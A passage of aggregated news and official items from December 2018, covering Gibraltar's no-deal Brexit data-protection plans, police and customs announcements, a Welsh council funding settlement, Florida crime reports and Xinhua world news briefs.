Member State, the Government will make appropriate changes to the GDPR and the Data Protection Act 2004 using regulation-making powers under the EUWA. The regulations and more detailed guidance will be published in due course. These regulations would: - Preserve EU GDPR standards in domestic law - Transitionally recognise all EEA countries (including EU Member States) and the UK as adequate to allow data flows from Gibraltar to the UK and to Europe to continue - Preserve the effect of existing EU adequacy decisions on a transitional basis - Recognise EU Standard Contractual Clauses (SCCs) in Gibraltar law and give the Information Commissioner the power to issue new clauses - Recognise binding Corporate Rules (BCRs) authorised before Exit day - Maintain the extraterritorial scope of the Gibraltar data protection framework - Oblige non-Gibraltar controllers who are subject to the Gibraltar data protection framework to appoint representatives in Gibraltar if they are processing Gibraltar data on a large scale 1. Introduction The free flow of personal data between Gibraltar, the UK and the EU is critical in underpinning an ambitious economic relationship and ongoing security cooperation, and Gibraltar is committed to high data protection standards. The EU will assess Gibraltars regime with a view to adopting Adequacy Decisions to ensure continuity of data flows. Likewise, Gibraltar will take steps to facilitate the flow of personal data to the UK and the EU. In May 2018 the EUs General Data Protection Regulation (GDPR) came into force and Gibraltars amended Data Protection Act 2004 also came into force. The EUWA will retain the GDPR in Gibraltar law and gives the government the power to make appropriate amendments to ensure that it works effectively in a Gibraltar context. The Government intends to use these powers to make the necessary amendments to the GDPR and other data protection legislation prior to Exit Day. The vast majority of the changes will involve removing references to EU institutions and procedures that will not be directly relevant when Gibraltar is outside the EU. They will be replaced with terms that make sense in a Gibraltar context. For example, in general, references to Union or Member State law will instead be read as domestic law, references to some decisions made by the EU Commission will be replaced with references to decisions made by the Gibraltar Government and so on. 2. Key components of the No Deal framework 2.1 Data controllers and data subjects In a No Deal scenario, responsibilities of data controllers in Gibraltar will not change. Data subjects will continue to benefit from the same high levels of data protection as they do now. The same GDPR standards will continue to apply in Gibraltar and the Information Commissioner will remain Gibraltars independent regulator for data protection. 2.2 Transfers to EEA countries (including EU Member States) and the UK Gibraltar will transitionally recognise all EEA states, EU and EEA institutions, and the UK as providing an adequate level of protection for personal data. This means that personal data can continue to flow freely from Gibraltar to these destinations following the UKs exit from the EU. Gibraltar would keep all of these decisions under review. Gibraltar cannot provide for free flow of data into Gibraltar; jurisdictions outside of Gibraltar will provide their own rules on the transfer of data internationally. For those that rely on data transfers from the EU, alternative mechanisms for such transfers are available. Gibraltar organisations will need to work with their EU counterparts to make sure an alternative mechanism for transfer (such as standard contractual clauses) is in place. 2.3 Existing EU adequacy decisions Where the EU has made an adequacy decision in respect of a country or territory outside of the EU prior to Exit day, the Gibraltar government intends to preserve the effect of these decisions on a transitional basis. This will mean that transfers from Gibraltar organisations to those adequate countries can continue uninterrupted. As set out on the European Commissions website, the Commission has so far recognised Andorra, Argentina, Canada (commercial organisations), Faroe Islands, Guernsey, Israel, Isle of Man, Jersey, New Zealand, Switzerland, Uruguay and the United States of America (limited to the Privacy Shield framework). 2.4 Recognising EU Standard Contractual Clauses Provision will be made so that the use of Standard Contractual Clauses (SCCs) that have previously been issued by the European Commission will continue to be an effective basis for international data transfers from Gibraltar in a No Deal scenario. In practice this means that organisations that transfer personal data to organisations overseas on the basis of SCCs can continue to rely on them. Under the proposed regulations, the Information Commissioner will have the power to issue new SCCs after Exit day. 2.5 BCRs Existing authorisations of Binding Corporate Rules (BCRs) made by the Information Commissioner will continue to be recognised in domestic law. After Exit day the Information Commissioner will continue to be able to authorise new BCRs under domestic law. 2.6 Maintaining extraterritorial scope The EU GDPR applies to controllers or processors who are based outside of the EEA where they are processing personal data about individuals in the EEA in connection with offering them goods and services, or monitoring their behaviour. The Gibraltar Government intends to retain the extraterritoriality of Gibraltars data protection framework. This will mean that that the Gibraltar framework will apply to controllers or processors who are based outside of Gibraltar where they are processing personal data about individuals in Gibraltar in connection with offering them goods and services, or monitoring their behaviour. This includes controllers and processors based in the EU. 2.7 Gibraltar representation for controllers Where article 3(2) of the EU GDPR applies, article 27 of the EU GDPR requires a controller or processor not established in the EEA to designate a representative within the EEA. The requirement does not apply to public authorities or if the controller/processors processing is only occasional, low risk, and does not involve special category or criminal offence data on a large scale. The Gibraltar Government intends to replicate this provision to require controllers based outside of Gibraltar to appoint a representative in Gibraltar. Data Protection and Data Flows - No deal Brexit Information Commissioner - 6 Steps to Take 1.Continue to comply Continue to apply GDPR standards and follow current guidance from the Information Commissioner. If you have a Data Protection Officer, they can continue in the same role for both Gibraltar and Europe. 2.Transfers to Gibraltar Review your data flows and identify where you receive data into Gibraltar from the European Economic Area (EEA). Think about what GDPR safeguards you can put in place to ensure that data can continue to flow once we are outside the EU. 3.Transfers from Gibraltar Review your data flows and identify where you transfer data from Gibraltar to any country outside Gibraltar, as these will fall under new Gibraltar transfer and documentation provisions. 4.European operations If you operate across Europe, review your structure, processing operations and data flows to assess how Gibraltars exit from the EU will affect the data protection regimes that apply to you. 5.Documentation This will need updating when the UK and Gibraltar leave the EU. 6.Organisational awareness Make sure key people in your organisation are aware of these key issues. Include these steps in any internal circular. Review your privacy information and your internal documentation to identify any details that will assist planning for leaving the EU, and keep up to date with the latest information and guidance. For the full guidance please visit the GRAs website https://www.gra.gi/data-protection RGP Officers Armed with Taser Devices The Royal Gibraltar Police has introduced Taser devices for its frontline armed police officers. The Taser is a Conducted Energy Device (CED) and is a lesser lethal weapon system designed to temporarily incapacitate a subject through the use of an electrical current which temporarily interferes with the bodys neuromuscular system and produces a sensation of intense pain. Assistant Commissioner (Designate) Richard Ullger said: As a result of a joint Firearms Strategic Threat and Risk Assessment on armed policing, and the need to provide armed police officers with less lethal options, the Royal Gibraltar Police has recently acquired Taser for its frontline armed police officers. The Taser is one of a number of tactical options available to RGP officers when dealing with an incident with the potential for conflict and has bridged the gap from other tools they use to conventional weapons. He further stated that although police forces in England and Wales are now expanding the deployment of Taser to non-armed police officers, the RGP will only routinely deploy it with armed police officers. Officers issued with Taser have undertaken a College of Police (UK) licensed training event and are assessed on a pass or fail criteria. On 19 December 2018, a delegation from Kyrgyz Customs led by First Deputy Chairman Mr. Shamil Berdaliev visited WCO Headquarters to sign the Memorandum of Understanding for the establishment of a WCO Regional Training Centre (RTC) in the Kyrgyz Republic. Both WCO Secretary General Mikuriya and Mr. Berdaliev looked forward to this new RTC being used to host events for the benefit of the WCO Members in the region. In the course of their visit to the WCO, the delegation met with officials from various areas of activity to discuss topics of particular interest to the Kyrgyz Customs Administration. Over the past two years the Comoros Customs Administration has been fully committed to wide-ranging reform and modernization. Since then, management has made it a strategic priority to develop staff competencies across the board, both in technical and managerial areas. As part of this process and thanks to support from the Finnish Fund, an LMD Workshop was organized by the World Customs Organization (WCO) and co-facilitated by two experts from Canadian Customs and the WCO Secretariat. The workshop was held in Moroni from 3 to 14 December 2018 and was offered to 20 managers (five women and fifteen men) representing the operational and central Customs departments. The workshops objective was to equip Comoros Customs with a pool of dedicated leaders. The managers will be responsible for working with their colleagues to drive the modernization process already under way within the Administration. With that in mind the workshop facilitators held an extracurricular session on the main priorities of the strategic plan which is currently being finalized, in order to enable participants to take ownership of the plan and think strategically about any pillars they may wish to add. The workshop was also a unique opportunity for all the participants to reflect in order to gain deeper self-awareness and further team spirit. The participants were also able to perfect their strategic management skills and deepen their understanding of leadership, people management, different management styles, promoting diversity and integrity in the workplace, communication, negotiation, change management and how to create a vision for the future. The workshop allowed participants to work on projects deemed strategic for their Administration, such as Human Resource Management, gender equality and the Single Window. The Minister of Finance, who chaired the closing ceremony, the Director General of Customs and all the participants gave their heartfelt thanks both to the Finnish Fund and the WCO Secretariat for their unwavering support. To find out more about the LMD Programme, please contact: Capacity.Building@wcoomd.org. Kentucky unemployment rate drops in all but seven counties China News on Women Sorry, the page you requested was not found. If you're having trouble locating a destination on Womenofchina.cn, try visiting the Womenofchina Home page Drivers urged to secure their vehicles and remove valuables from display following series of thefts This article is old - Published: Thursday, Dec 20th, 2018 With Christmas fast approaching, North Wales Police are again encouraging drivers to secure their vehicles and remove all valuables which could potentially tempt thieves. The advice comes off the back of a series of vehicle related thefts across the region in the past few weeks. Sgt Kenny Temple Morris is also urging members of the public to double check before they leave their vehicle unattended. He explained: Most thefts are opportunistic and I urge car owners to take a few extra seconds to look at their vehicle security, to ensure that no items or cash are left on display and that the car is locked. Christmas gifts are easy pickings for opportunist thieves who will make off with such items within seconds. Theft from vehicles is a long standing problem and will continue until owners take personal responsibility of their possessions. We are committed to preventing crime, which means fewer victims. Tips to motorists Motorists should park in well-lit areas if possible, lock all doors, remove all items of value and activate the alarm. Never leave items of value on display. Ensure they are removed or hidden from view. If you have any information relating to car crime please contact North Wales Police on 101 or contact the control room direct. Alternatively call Crimestoppers anonymously on 0800 555111. North Wales Police ask public for help in locating missing man last seen in Marford This article is old - Published: Thursday, Dec 20th, 2018 North Wales Police have issued an appeal this morning for help in locating a missing man who they believe could be in Chester. 58 year old Simon Atkinson was last seen in Marford on Wednesday evening , December 19. Simon is described as being 6ft 2 inches tall and wearing blue jeans and blue fleece. Police say he is possibly in the Chester area, If you have any information, please phone 101 Or via the live chat facility: https://www.north-wales.police.uk/contact/live-chat-support Quote event no. W180333 The police helicopter was also active in the area overnight. Welsh Government issue final budget settlement to councils no authority now faces a reduction of more than 0.3% This article is old - Published: Thursday, Dec 20th, 2018 The Welsh Government has issued its final settlement figures to local councils across Wales, with Wrexhams cut improving from -0.6% to -0.1% The new settlement figure will mean no authority will see their budget cut by more than 0.3%. Wrexham Council had previously warned a poor settlement would see service closures and hints of bin collection changes and council tax rises. Julie James AM, Minister for Housing and Local Government, announced the final settlement yesterday, saying: The decisions the Welsh Government has made as part of the overall budget provide local government with a realistic settlement against the background of the current financial climate and one which is improved on the indicative settlement approved in the last budget. Compared with the provisional settlement announced in October, the final settlement, for 2019-20, includes an additional 23.6 million as a result of the Welsh Governments final budget allocations. This encompasses the additional allocations announced by the Welsh Government on 20 November, along with funding to increase the capital limit for residential care and to deliver local rates relief schemes. The Welsh Government announcement on 20 November, provided for an additional 13 million for the local government settlement and a commitment to provide an extra 1.2 million of funding to deliver an improved settlement floor, so no authority faces a reduction of more than 0.5% in its core funding allocation over the current year. As set out in the First Ministers letter to local authority Leaders, this improved package of funding must be matched by a commitment from local authorities to regional working, for example with health boards and the education consortia, to secure improved outcomes and increased resilience, and a re-commitment to the spirit and the letter of the terms and conditions of the Working Group on Local Government. The Government announced on 18 December a further increase from April 2019 in the amount of the capital people can keep without having to use this to pay for their residential care. This completes the final stage in the delivery of this Governments Taking Wales Forward commitment to raise the capital limit in charging for residential care to 50,000 two years ahead of schedule. In addition to the funding provided to date to local government for the previous increases in the limit for the capital limit, this local government settlement includes a further 7 million a year, recurrently, for this change. Welsh Government say these additional allocations mean the final settlement represents a cash increase overall, compared to 2018-19, equivalent to an increase of 0.2% after adjusting for transfers. This additional funding means that I have been able to further revise the floor arrangements so that no authority now faces a reduction of more than 0.3%, compared with the current year, on a like-for-like basis. This arrangement is fully funded by the Welsh Government and ensures that the five authorities on the funding floor will benefit as a result of these additional allocations. The below table shows the new table, however the old table for the first column had 175,138 in previously published figures the new figure means a cut of -0.06% for Wrexham, rounded to -0.1%. Extra funding is also noted as: Local Authorities also need to invest in infrastructure and transformation. The budget announced yesterday provided for an additional 100m capital for local government in Wales, 50m in 2018-19, 30m in 2019-20 and 20m in 2020-21. This is in addition to the capital for highways refurbishment announced in the draft budget. As a result, capital funding for 2019-20 amounts to 541 million. Within this, General Capital Funding for 2019-20 will be 193 million (including 20 million for public highways refurbishment grant) and 183 million in 2020-21 So far the response across Wales has been muted, with the previously highly critical Welsh Local Government Association not yet publishing a response. Locally Wrexham Council Leader Mark Pritchard told us: We will start to examine the Local Government Final Settlement in detail upon receipt today and over the Christmas period, and will be in a position to make further comments in the New Year. One response contained odd statement that could signal a coup in the local guildhall, or a simple mistake, the Welsh Conservatives noted: The Conservatives run Monmouthshire, Wrexham, and the Vale of Glamorgan and are part of the ruling administrations of Powys and Conwy. All of these councils will have their funding cut by the Welsh Government, while six Labour-run councils will have increases. The Welsh Conservative and Shadow Local Government Minister Mark Isherwood AM, said: After calls from councils, voters, opposition parties, backbenchers, and even ministers, the Welsh Labour Governments final budget has still failed to deliver fair funding for local authorities. The Welsh Government is getting generous block grants from Westminster but blames them when it is their decision alone on how to share that money across Wales. And their message is clear that they want to share that money among their voters but not for those who dont vote Labour. This is cronyism of the highest order and council tax payers in North Wales will be especially disappointed. The Welsh Conservatives want an independent review of the local government funding formula to prevent further regional inequality in Wales, something which has gone from bad to worse during Welsh Labours twenty years in charge. The motion for the Assembly to approve the Local Government Finance Report for 2019/20 is scheduled to take place on 15 January 2019. PLANT CITY, Fla. (AP) - The Latest on the murder-suicide involving a Florida sheriff's deputy (all times local): 3:30 p.m. Authorities say a deputy in Florida has killed his wife, his daughter and his granddaughter before turning the gun on himself. WFTS reports the victims have been identified as Terry Strawn's wife, Theresa Strawn, 54, his daughter, Courtney Strawn, 32, and his granddaughter, 6-year-old Londyn Strawn. During a Wednesday afternoon news conference, Hillsborough County Sheriff Chad Chronister said that Terry Strawn, a school security officer, shot his wife and 6-year-old granddaughter, then went to his daughter's house and shot her. I am saddened beyond comprehension that one of our Deputies killed three people and then committed suicide. Everyone needs to know that there is always a better option and help available for anyone who is thinking of harming themselves. pic.twitter.com/hZKsm4az2F Chad Chronister (@ChadChronister) December 19, 2018 Chronister says Strawn went on the department's main radio channel to say he'd harmed his family and then shot himself near a high school. Strawn used his service revolver. WFTS reports Strawn shot himself in front of three other deputies who tried to convince him not to do it. Strawn was a deputy from 1991 until his retirement in 2017. He was rehired as a school security officer in 2018. ___ Noon Authorities in Florida say a sheriff's deputy killed three relatives, including a child, before killing himself outside of a high school. The incident unfolded Wednesday morning in Plant City, a rural community east of Tampa. The Hillsborough County Sheriff's Office says a woman and a child were killed at one home, a woman was killed at another home, and the deputy shot himself outside Plant City High School in front of three other deputies who had arrived at the scene. Sheriff Chad Chronister said during a news conference the deputy came on the department's main radio channel to say he'd harmed his family. He also told deputies he was going to kill himself at the high school. Names of the victims and the deputy weren't immediately released. (Copyright 2018 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.) Florida deputy kills 3 relatives, then himself PLANT CITY, Fla. (AP) - Authorities in Florida say a sheriff's deputy killed three relatives, including a child, before killing himself outside of a high school. The incident unfolded Wednesday morning in Plant City, a rural community east of Tampa. The Hillsborough County Sheriff's Office says a woman and a child were killed at one home, a woman was killed at another home, and the deputy shot himself outside Plant City High School in front of three other deputies who had arrived at the scene. Sheriff Chad Chronister said during a news conference the deputy came on the department's main radio channel to say he'd harmed his family. He also told deputies he was going to kill himself at the high school. Names of the victims and the deputy weren't immediately released. (Copyright 2018 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.) WAKULLA COUNTY, Fla. (WTXL) - A man who was arrested in Leon County is now facing additional charges after stealing checks and credit card offers from mailboxes in various local counties. Derek Thomas, 29, is facing various financial charges in Wakulla County. On Sept. 11, a victim who used to live on Smith Creek Road reported several credit cards had been opened in his name without his consent. He told deputies that a couple days before, he started getting credit card alerts saying he was overdrawn on a couple of accounts he hadn't opened. The victim was able to provide information on two credit card accounts. Deputies said seven charges had been made on one of the accounts in August. On Sept. 13, a second victim who lived on Smith Creek Road reported her bank returned a check she had written to another bank for $250 after it was rejected because someone else tried to deposit it using a mobile app. Deputies said the check had been altered and the payee was illegible. She said she put the check in her mailbox and thought it had been picked up by the mail carrier. In November, a third victim who lived on Old Shell Point Road said she received a phone call from her bank saying that a check she made out to her husband for $2,180 had been altered and cashed. She said the check and a Amazon package valued around $34 was also taken from her mailbox. Detectives learned that someone had also stolen mail from residential mailboxes located on Smith Creek Road from Sopchoppy to Lake Talquin. Eventually, deputies were able to connect Thomas to all of the mailbox thefts. Detectives later Thomas at the Leon County Detention Center, where he was already incarcerated for other crimes related to bank fraud. On Wednesday, arrest warrants were obtained charging Thomas with 11 counts of various financial crimes. Since Thomas was already incarcerated in the Leon County Detention Center, a hold was placed on him to face the charges in Wakulla County. Tallahassee man arrested for cashing counterfeited checks TALLAHASSEE, Fla. (WTXL) - A Tallahassee man has been arrested for cashing counterfeited checks he stole from two elderly victims. Derek Kenneth Thomas, 29, was booked into jail Thursday for fraudulently using personal identification concerning the victims without obtaining their consent. Thomas committed the illegal acts between Oct. 16 and Oct. 24, according to a complaint. He was first arrested on Nov. 19 on warrants concerning the checks cashed at First Commerce Credit Union. At that time, the probable cause affidavit said, Thomas gave false information as to his identity. The checks were written on a joint account held by two elderly individuals. One victim said he ordered the checks and used his home address for them to be delivered there but the checks never arrived. That victim said he the found out that two checks from the missing checks were cashed at a Florida Commerce Credit Union location. A $500 check was cashed on Oct. 16, for "roof," and another $500 check was cashed on Oct. 24 for "work." Neither victim gave permission for anyone to write or possess their checks. Thomas was eventually taken into custody on Thursday and, as of Friday, remains in the Leon County Detention Center on a $37,500 bond. He faces several charges: TALLAHASSEE, Fla. - The state Supreme Court on Wednesday said it will not take up an appeal by a former Florida State University student convicted of fatally shooting another student in 2011 during a fraternity party. The Supreme Court, as is common, did not explain its reasons for declining to hear the appeal by former student Evan Wilhelm, 28, an inmate at Wakulla Correctional Institution. Wilhelms attorneys went to the Supreme Court after the 1st District Court of Appeal rejected arguments raised by Wilhelm, including that he had received ineffective assistance of counsel in entering a no-contest plea and in sentencing. Wilhelm was sentenced to 20 years in prison in the death of Ashley Cowie, 20, of Orange Park, who was shot in the chest as Wilhelm played with a gun, according to the appeals-court ruling. Wilhelm pleaded no contest to manslaughter, possession of a firearm on school property and culpable negligence with injury. LEON COUNTY, Fla. (WTXL) - Leon County Schools achieved an all-time high percentage of students graduating in the 2017-18 school year. The Florida Department of Education released the 2017-2018 graduation rates and Leon County Schools achieved an all-time high percentage of students graduating at 93 percent. The overall health of any school system is greatly determined by the number of students who are meeting state standards and graduating from high school. Yesterday, the Florida Department of Education announced that Leon County Schools graduation rate increased to a historic mark of 93 percent making our district one of the healthiest school systems in the country, said Superintendent of Leon Schools Rocky Hanna. Leon Schools continue to outperform the state, this year by 7 percentage points. Leon Schools rank number 1 out of medium and large sized districts. The district increased the graduation rate in all sub-groups, of specific note was an increase of 8 percentage points among African-American students, also at an all-time high at 89 percent. More young people than ever before in Leon County are on the path to academic success. This historic level of achievement would not be possible without the tremendous amount of hard work from our teachers, administrators, guidance counselors, parents and students," said Leon County Schools Superintendent Rocky Hanna. "This is a great moment, not just for our school district, but our entire community." Source: Xinhua| 2018-12-19 05:39:38|Editor: Chengcheng Video Player Close Bart De Wever(R), President of Flemish right-wing party N-VA, leaves a meeting with Belgium's King Philippe at the Royal Palace in Brussels, Belgium, Dec. 19, 2018. After Belgian Prime Minister Charles Michel visited the King on Tuesday evening to submit the resignation of his government, King Philippe announced that he was holding "his decision in abeyance". (Xinhua/Zheng Huansong) BRUSSELS, Dec. 18 (Xinhua) -- After Belgian Prime Minister Charles Michel visited the King on Tuesday evening to submit the resignation of his government, King Philippe announced that he was holding "his decision in abeyance". The most likely outcome now is that the King will make a final decision once consultations are held and after they find "the lowest common denominator between the parties," reported the local newspaper Le Soir. The prime minister announced on Tuesday night the resignation of his center-right government, nine days after the departure of Flemish nationalist ministers who opposed Belgium's support of the UN Global Compact for Safe, Orderly and Regular Migration. The head of the government called in the parliament on Tuesday afternoon to constitute a "coalition of good will" in order to maintain political work and stability until the elections of May 26, 2019. While the prime minister made some advancements on certain topics, the commitments seemed far too vague to the opposition. Later in the evening, shortly before 8 p.m., the prime minister took the floor to announce that he was going to the King to submit his resignation and that of his government. Source: Xinhua| 2018-12-19 21:48:17|Editor: ZX Video Player Close BEIJING, Dec. 19 (Xinhua) -- The reform and opening-up over the past four decades has changed China and the fate of hundreds of millions of Chinese, and influenced the world, advancing human progress. The launch of the reform and opening-up policy in 1978 signaled a shift of priorities for the Communist Party of China and the state towards economic development. This propelled China to grow into the world's second largest economy. China has one-fifth of the world's population. Every success made in poverty reduction and livelihood improvement is a great contribution to human development. From 1978 to 2017, China lifted 740 million people out of poverty, nearly 19 million each year. With such large-scale progress made, China has solely contributed more than 70 percent to global poverty alleviation work in the past 40 years. Some people say that without China's progress, the Millennium Development Goals of the United Nations would be unattainable. In just 40 years, Chinese people's per capita disposable income rose to 26,000 yuan (about 3,823 U.S. dollars) from 171 yuan. Life expectancy has increased to 76.7 years from 67.8 years in 1981. Hunger, shortage and poverty that plagued the Chinese for thousands of years have been left behind. Reform and opening-up has also contributed to human progress across the globe. In its rise to global economic powerhouse, China has been a major "factory of the world," producing affordable goods in large quantities to consumers around the world, from stationary, clothes and toys to televisions, ovens, and mobile phones. The list goes on. Today, as the reform and opening-up deepens, China is turning into the world's marketplace. Its middle-income population, 400 million and still expanding, has a growing appetite for quality products around the world. For example, with more than 28.87 million motor vehicles sold in 2017, China is a huge market for foreign automakers. BMW has raised the stake in its China joint venture, and Tesla is building a factory in Shanghai. No matter if it is as a world factory or marketplace, China has shaped economic globalization over the past four decades, benefiting consumers around the globe. The global value chain would not be the same if there were no reform and opening-up. Last but not least, China has explored a unique path of economic development of its own through reform and opening-up. This has created an alternative path for developing countries to achieve poverty reduction and industrialization that is different to Western models. Justin Yifu Lin, a former World Bank chief economist, said China's growth model was more relevant to developing countries than ones prescribed by the industrialized West. Because China's model derives from the experience of a developing country and suits the needs of the developing world. In this sense, the reform and opening-up is making a key contribution to global human progress as more countries can find their paths of development from China's experience and help their people live a better life. Source: Xinhua| 2018-12-20 00:54:07|Editor: Chengcheng Video Player Close ISLAMABAD, Dec. 19 (Xinhua) -- U.S. Special Representative for Afghanistan Reconciliation Zalmay Khalilzad met with Pakistan's Army Chief General Qamar Javed Bajwa on Wednesday, after a two-day negotiation with the Taliban in the United Arab Emirates (UAE) from Monday, Pakistan's army said. The U.S. envoy who led a U.S. delegation in the negotiation appreciated Pakistan's efforts in the Afghanistan peace process, a statement from the army's media wing Inter-Services Public Relations said. "General Bajwa reiterated that peace in Afghanistan is important for Pakistan and assured continued efforts for bringing peace and stability in the region," the statement said. Khalilzad said on twitter that he met with Pakistan leaders to "update them on the state of play following our meetings in UAE." Pakistani Prime Minister Imran Khan said his country had "facilitated" the talks between the United States and the Taliban in UAE as part of its efforts to push for the political solution to the conflict in Afghanistan. The Taliban also issued a statement saying the "focal point of discussion was the withdrawal of foreign troops." Source: Xinhua| 2018-12-20 00:59:09|Editor: yan Video Player Close ADDIS ABABA, Dec. 19 (Xinhua) -- Ethiopia on Wednesday held state funeral for former president Girma Wolde-Giorgis in the presence of high level Ethiopian and foreign dignitaries. The former President's funeral was attended by various high level dignitaries including Ethiopian President Sahle-Work Zewde, Ethiopian Prime Minister Abiy Ahmed and AU Commission Chairperson Moussa Faki Mahamat. Wolde-Giorgis, who was the East African country's president for more than a decade, passed away on Saturday at the age of 94. Wolde-Giorgis had been Ethiopia's president from 2001 to 2013. He had also performed various state duties throughout the country in different capacities for close to six decades. In recent years,Wolde-Giorgis had been active in efforts to foster reconciliation between former foes Ethiopia and Eritrea who declared an end to two decades of hostility in July. Speaking at his funeral, current Ethiopian President Sahle-Work Zewde said Wolde-Giorgis had served his country through several governments through good and bad times. "Wolde-Giorgis showed the true principles of public service, serving Ethiopia during challenging times over the last several decades, in various capacities," she said during a publicly broadcast funeral ceremony. Source: Xinhua| 2018-12-20 02:19:23|Editor: yan Video Player Close TRIPOLI, Dec. 19 (Xinhua) -- Libyan Deputy Prime Minister Ahmed Maiteeq on Wednesday met with French Ambassador to Libya Beatrice du Hellen to discuss bilateral cooperation. During the meeting, du Hellen expressed hope for the return of French companies to resume projects of energy, healthcare, and infrastructure, said a statement of the Libyan prime minister's information and communication department. Most foreign companies in Libya have left since 2014 when violent clashes between rival armed groups broke out in the capital Tripoli, leading to lingering political division across the country. Meanwhile, Maiteeq announced the start of preparations for the Libyan-French economic conference to be held at the end of the first quarter of 2019. The Libyan official expressed gratitude for France's support to the Libyan government and hope for further cooperation between the two countries in various fields. Source: Xinhua| 2018-12-20 03:54:41|Editor: yan Video Player Close GAZA, Dec. 19 (Xinhua) -- Islamic Hamas movement on Wednesday slammed the Israeli parliament's preliminary vote on expelling families of Palestinians who carry out attacks against Israelis. "Targeting the families of the resistance men won't influence the determination of our people to carry on with their resistance against the occupation," Hamas said in an official press statement. Earlier on Wednesday, two bills in response to recent armed attacks in the West Bank were passed by preliminary votes in the Israeli parliament, according to Israeli media reports. The reports said that one will allow the deportation of militants' family members, and the other will set a two-year deadline to legalize 70 West Bank outposts. Both bills were submitted to the Israeli parliament months ago by the right-wing party of the Bayit Yehudi but were brought back to the table after last week's wave of attacks in the West Bank, which claimed three lives, including a three-day-old baby. Source: Xinhua| 2018-12-20 03:59:43|Editor: yan Video Player Close RAMALLAH, Dec. 19 (Xinhua) -- Israel has decided to stop importing Palestinian-grown fruits and vegetables from the West Bank, Palestinian officials said on Wednesday. Israel has stopped importing fruits and vegetables from the West Bank for the second day, said Abdulla Lahlouh, director general of the Palestinian Ministry of Agriculture in the West Bank, in a statement. According to the Palestinian official news agency WAFA, Israel unilaterally made the decision without informing the Palestinian Authority on the decision in advance. The reports said that during 2017, the Palestinian exports of vegetables to the Israeli markets had reached 56 million U.S. dollars and those of fruits were five million dollars. Lahlouh warned that if Israel does not give an explanation on its decision, "the Palestinian government will equally respond in case there is an official Israeli decision to stop importing fruits and vegetables from the West Bank." Earlier on Wednesday, Israeli radio reported that Israeli Minister of Agriculture Uri Ariel instructed to stop importing fruits and vegetables from the West Bank in response to the Palestinian decision of stopping importing Israeli sheep. Lahlouh clarified that his ministry made the decision to stop importing Israeli sheep and sheep from other neighboring countries on Dec. 2 "due to the drop of meat prices to protect farmers and livestock breeders in Palestine." Source: Xinhua| 2018-12-20 05:04:56|Editor: Chengcheng Video Player Close KIEV, Dec. 19 (Xinhua) -- Ukraine's President Petro Poroshenko on Wednesday met U.S. Special Representative for Ukraine Negotiations Kurt Volker to discuss security issues, the presidential press service said. During the meeting, the parties exchanged their views on the situation in Kerch Strait and Ukraine's conflict-hit region of Donbas. Poroshenko and Volker coordinated their positions regarding the actions to ensure respect for the freedom of navigation in the Kerch Strait and the Sea of Azov and stressed the need for the release of ships and sailors seized during the Kerch incident. Besides, they discussed the prospects of the deployment of a UN peacekeeping mission in Donbas, where armed conflict has been underway since April 2014. Last month, Russian forces seized three Ukrainian naval ships and 24 sailors in the Kerch Strait separating the Black Sea and the Sea of Azov, saying the Ukrainian ships breached its border. Ukraine called Russia's actions an "act of aggression" and urged Moscow to release the captured ships and sailors. Volker arrived in Kiev on Tuesday for a two-day visit. Source: Xinhua| 2018-12-20 05:09:57|Editor: yan Video Player Close TRIPOLI, Dec. 19 (Xinhua) -- Libya's eastern-based army on Wednesday demanded the UN Security Council to start an immediate investigation into two shipments of arms from Turkey to Libya. In a statement issued later on Wednesday, the army expressed deep concern over the arrival of shipments carrying ammunition and weapons at the port of Khoms city in western Libya on Monday and Tuesday. "The ammunition in those shipments included more than 4.2 million bullets, enough to kill nearly 80 percent of the Libyan people, as well as pistols and rifles with their accessories, including silencers used for assassinations. This is a proof that the purpose (of those arms) is to be used for terrorist operations in the Libyan territories," the statement said. "The general command of the army demands the UN Security Council, the United Nations, and the United Nations Mission in Libya to condemn the Turkish republic and start an immediate investigation into it," the statement added. Source: Xinhua| 2018-12-20 05:45:04|Editor: Chengcheng Video Player Close Tunisian Prime Minister Youssef Chahed (2nd R) and Prime Minister of the Republic of Korea (ROK) Lee Nak-yeon (2nd L) attend the Tunisian-ROK Economic Forum in Tunis, capital of Tunisia, on Dec. 19, 2018. Chahed Wednesday stressed the cooperation with the Republic of Korea. (Xinhua/Adele Ezzine) TUNIS, Dec. 19 (Xinhua) -- Tunisian Prime Minister Youssef Chahed Wednesday stressed the cooperation with the Republic of Korea (ROK). Chahed made the remarks at the Tunisian-ROK Economic Forum held on Wednesday in Tunis. The prime minister said Tunisia will become a regional platform for the production and exportation of ROK products towards European, Mediterranean and sub-Saharan countries. He also expressed Tunisia's willingness to establish a long-term strategic cooperation with ROK. Source: Xinhua| 2018-12-20 06:00:10|Editor: yan Video Player Close RABAT, Dec. 19 (Xinhua) -- Moroccan authorities said the killing of two foreign tourists in a mountainous area in central Morocco is a "terrorist act." The bodies of the two female tourists, a Danish and a Norwegian, were found Monday in an isolated mountainous area some 10 km away from the tourist village of Imlil near the city of Marrakech. Boubker Sabik, spokesperson for the police, told the press that "the terrorist hypothesis is not discarded," adding that investigation is underway to "reach the final conclusions." Sabik said four suspects are directly involved in the murder, including the one arrested following the attack. The public prosecutor at the Rabat Appeal Court announced in a statement Wednesday that investigations have revealed that the arrested suspect "belongs to an extremist group." The other suspects have been identified, the statement said, adding that the search is underway to arrest them. Source: Xinhua| 2018-12-20 06:10:14|Editor: ZD Video Player Close WASHINGTON, Dec. 19 (Xinhua) -- The Trump administration announced on Wednesday that it has started returning U.S. troops home from Syria after claiming a victory in the fight against the Islamic State (IS) without revealing any detailed timetable. "We have started returning United States troops home as we transition to the next phase of this campaign," said White House Spokesperson Sarah Sanders in a statement, claiming that America has "defeated the territorial caliphate." Pentagon later echoed the White House claim, saying that the U.S. military has already begun the process of bringing the U.S. forces back while emphasizing the continuity of the campaign. "The Coalition has liberated ISIS (the IS)-held territory, but the campaign against ISIS is not over," the Pentagon spokeswoman Dana White said in a tweet. All U.S. State Department personnel are being evacuated from Syria within 24 hours, reported Reuters after the White House announcement, citing an anonymous administration official. The official also revealed that the time-frame for the troops withdrawal from the war-torn Arab country is expected to be between 60 and 100 days, according to the report. However, a senior Trump administration official, during a background briefing held on Wednesday afternoon, did not directly answer reporters' questions on how the administration intends to withdraw the troops or whether there will a deadline for that. Sanders' statement came about one hour after U.S. President Donald Trump hinted in a tweet about imminent U.S. troop withdrawal from Syria. "We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency," Trump tweeted on Wednesday morning. Earlier on the 